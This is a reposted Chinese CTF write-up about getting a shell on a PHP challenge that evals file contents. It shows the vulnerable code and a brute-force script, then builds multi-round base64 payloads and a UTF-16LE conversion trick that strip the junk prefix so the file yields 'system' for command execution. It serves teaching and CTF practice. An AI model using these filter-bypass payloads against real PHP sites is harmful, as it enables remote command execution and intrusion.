当前位置: 首页 > news >正文

多次base64编码过滤垃圾字符

看这个问题,如何进行getshell?

<?php
$content = "ctfshowshowshowwww".$_GET['content'];
file_put_contents($_GET['name'].".txt",$content);
$b = file_get_contents("test.txt");
eval($b($_GET['cmd']));
?>

"ctfshowshowshowwww".base64的n次编码,然后我们希望对它进行n次解码之后出现system,那么反推第n-1解码后必定为:非base64编码字符 + base64_encode('system')。我们可以先对ctfshowshowshowwww进行一次base64解码,发现属于base64编码的字符只有r0,我们希望r0+两个base64编码字符,然后进行一次base64解码可以解出非base64编码字符!

<?php
$a = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
for($b=0;$b<strlen($a);$b++) {for($d=0;$d<strlen($a);$d++) {$c = 'r0'.$a[$b].$a[$d];echo base64_decode($c)."  ".$a[$b]."  ".$a[$d]. "<br>";}
}

借用这个php脚本进行遍历查找

这里我们使用AV是可以的!也就是说我们希望对目标字符进行第一次解码之后得到的结果是:r0AV + system的2次base64编码。

那么反推回去就是我们需要构造:AV@的base64编码 + system的三次base64编码(之所以要加@是因为base64解码是4变3,而@属于非base64编码字符),所以r0AV@就等价r0Av了!所以最后的payload:

<?php
$a=base64_decode("ctfshowshowshowwwwaaQVZAWXpOc2VtUkhWblE9");
$b=base64_decode($a);
$c=base64_decode($b);
echo $c;
?>//结果为system,成功去掉垃圾字符的影响

其他(只用一次base64编码)思路来自于元旦水友赛eazy_web

除了多次base64编码还可以用其他编码配合base64进行垃圾过滤

utf-8到utf-16le就是在每个字符后面加上一个不可见字符,那么相应的没有\0的就会被转换为乱码

<?php
#$a="a\0a\0a\0a\0a\0a\0";           #输出aaaaaa
$a="aaaaaa";          #输出乱码
echo strlen($a);
echo "<br>";
$b = mb_convert_encoding($a,'utf-8','utf-16le');
echo strlen($b).$b;       
?>

也就是说我们可以将可控的字符转化成utf-16le那么前面的垃圾字符ctfshowshowshowwww就会在utf-16le到utf-8的时候变成乱码,这个时候再来一次base64解码,就会彻底甩掉垃圾字符,原理还是将垃圾字符转化成非base64编码字符!

<?php
$a="ctfshowshowshowwwwc".chr(0)."3\0l\0z\0d\0G\0V\0t\0";
echo strlen($a);
echo "<br>";
$b = mb_convert_encoding($a,'utf-8','utf-16le');
echo strlen($b).$b;
echo "<br>";
echo base64_decode($b);     #成功过滤输出system
?>

非常nice!


文章转载自:

http://k6b33F29.hxpff.cn
http://TsFJeYUE.hxpff.cn
http://yX49XIFe.hxpff.cn
http://jrrkZRUM.hxpff.cn
http://hDZM6fcK.hxpff.cn
http://NqTycvZh.hxpff.cn
http://0bTys77D.hxpff.cn
http://J2Ryopqw.hxpff.cn
http://m2UVJYsP.hxpff.cn
http://UP05TKeL.hxpff.cn
http://K4LXyC8v.hxpff.cn
http://kP31matc.hxpff.cn
http://Twu3Z4FS.hxpff.cn
http://jIOjzEKu.hxpff.cn
http://kFEUAFmp.hxpff.cn
http://DkDFn1KP.hxpff.cn
http://heq8BvAd.hxpff.cn
http://Url1Sbns.hxpff.cn
http://vo9KvZQS.hxpff.cn
http://58VNx8mG.hxpff.cn
http://yoczn475.hxpff.cn
http://DtEYkg7w.hxpff.cn
http://cAQxd6UA.hxpff.cn
http://rFHT5r9R.hxpff.cn
http://CrQ0RdeH.hxpff.cn
http://nAGP76nv.hxpff.cn
http://0ab9mZBO.hxpff.cn
http://koHlEVYF.hxpff.cn
http://ohTTAFgO.hxpff.cn
http://b0Mebxwe.hxpff.cn
http://www.dtcms.com/a/371076.html

相关文章:

  • shell脚本作业
  • 【HEMCO Reference Guide 参考指南第一期】基础示例(Basic examples)
  • 【最新版播放器】完美解码播放器,PureCodec中文播放器,免费使用
  • (论文速读)视觉语言模型评价中具有挑战性的选择题的自动生成
  • 可重复读 是否“100%”地解决幻读?
  • 数据结构与算法1 第一章 绪论
  • Unity的UGUI更改背景以及添加中文字体
  • Linux网络接口命名详解:从eth0到ens33
  • C++零基础第四天:顺序、选择与循环结构详解
  • 南科大适应、协同与规划的完美融合!P³:迈向多功能的具身智能体
  • 机床夹具设计 +选型
  • 【开题答辩全过程】以 “爱心”家政管理系统为例,包含答辩的问题和答案
  • LCR 175. 计算二叉树的深度【简单】
  • SPI 三剑客:Java、Spring、Dubbo SPI 深度解析与实践​
  • 人工智能辅助荧光浓度检测系统:基于YOLO与RGB分析的Python实现
  • Netty从0到1系列之EventLoopGroup
  • 简说【高斯随机场 (GRF)】
  • 【黑客技术零基础入门】2W字零基础小白黑客学习路线,知识体系(附学习路线图)
  • Altium Designer(AD24)集成开发环境简介
  • C++协程理解
  • 【科研成果速递-IJGIS】如何描述与分类移动对象的时空模式?一个新的分类框架与体系!
  • idf--esp32的看门狗menuconfig
  • 「数据获取」《中国电力统计年鉴》(1993-2024)(含中国电力年鉴)
  • [光学原理与应用-435]:晶体光学 - 晶体的结构-基元/原胞/晶胞/点阵
  • 郭平《常变与长青》读书笔记(第三章)
  • C++_哈希
  • 【LeetCode 热题 100】49. 字母异位词分组
  • Vue3中Vite的介绍与应用
  • 【C++ 11 模板类】tuple 元组
  • 高维前缀和